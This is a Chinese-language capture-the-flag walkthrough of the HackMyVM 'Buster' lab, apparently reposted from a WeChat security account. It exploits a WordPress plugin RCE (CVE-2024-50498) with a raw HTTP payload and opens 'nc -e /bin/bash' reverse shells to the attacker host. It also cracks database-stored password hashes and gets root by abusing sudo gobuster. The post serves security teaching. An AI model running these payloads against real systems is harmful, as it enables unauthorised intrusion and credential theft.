信息收集
这一关常规的信息收集都没有什么突破点,只能从他的的框架去寻找Nday
查找框架信息
一眼wordpress框架
渗透阶段
使用wpscan工具进行扫描
wpscan --url http://192.168.94.8/ --api-token=srfNAJgHUPbK7OJh6Tjp00a5LUjFbs******* -e ap --plugins-detection aggressive
[+] wp-query-console
| Location: http://192.168.94.8/wp-content/plugins/wp-query-console/
| Latest Version: 1.0 (up to date)
| Last Updated: 2018-03-16T16:03:00.000Z
| Readme: http://192.168.94.8/wp-content/plugins/wp-query-console/README.txt
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.94.8/wp-content/plugins/wp-query-console/, status: 403
|
| [!] 1 vulnerability identified:
|
| [!] Title: WP Query Console <= 1.0 - Unauthenticated Remote Code Execution
| References:
| - https://wpscan.com/vulnerability/f911568d-5f79-49b7-8ce4-fa0da3183214
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-50498
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/ae07ca12-e827-43f9-8cbb-275b9abbd4c3
|
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://192.168.94.8/wp-content/plugins/wp-query-console/README.txt
CVE-2024-50498复现
WordPress的WP查询控制台插件易于在所有版本中,包括1.0的所有版本中执行远程代码。这使得未经验证的攻击者可以在服务器上执行代码。
POST /wp-json/wqc/v1/query HTTP/1.1
Host: 192.168.94.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin.php?page=wp-query-console
Content-Type: application/json
Content-Length: 45
Origin: http://kubernetes.docker.internal
Connection: keep-alive
Priority: u=0
{"queryArgs":"phpinfo();","queryType":"post"}
响应
过滤的函数
<tr><td class="e">disable_functions</td>
<td class="v">passthru,exec,system,popen,chroot,scandir,chgrp,chown,escapesh</td>
</tr>
他是无回显的命令注入
用shell_exec(ping -c2 192.168.94.4)
反弹shell
shell_exec('nc -e /bin/bash 192.168.94.4 6666')
nc -vlp 6666
美化shell
python -c "import pty; pty.spawn('/bin/bash')"
查看wordpress配置文件
cat wp-config.php
/** Database username */
define( 'DB_USER', 'll104567' );
/** Database password */
define( 'DB_PASSWORD', 'thehandsomeguy' );
连接数据库
mysql -u ll104567 -p
查看wp-user里面的用户
john破解哈希
密码
104567
用ssh去连接
ssh [email protected]
拿到第一个user标志
提权
sudo -l
Matching Defaults entries for welcome on listen:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User welcome may run the following commands on listen:
(ALL) NOPASSWD: /usr/bin/gobuster
Matching Defaults entries for welcome on listen:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User welcome may run the following commands on listen:
(ALL) NOPASSWD: /usr/bin/gobuster
可以用gobuster
服务器
echo'nc -e /bin/bash 192.168.94.4 8866' > b
chmod +x b
echo'tmp/b' > a.txt
sudo gobuster -w a.txt -u http://192.168.94.4:8000 -n -q -o /opt/.test.sh
本地
cd ~
mkdir tmp
cd tmp
touch b
python -m http.server
再开nc反弹shell
nc -vlp
最后拿到root权限!!!
注:鼎星安全有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
原文始发于微信公众号(鼎新安全):hackmyvm | Buster靶场
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论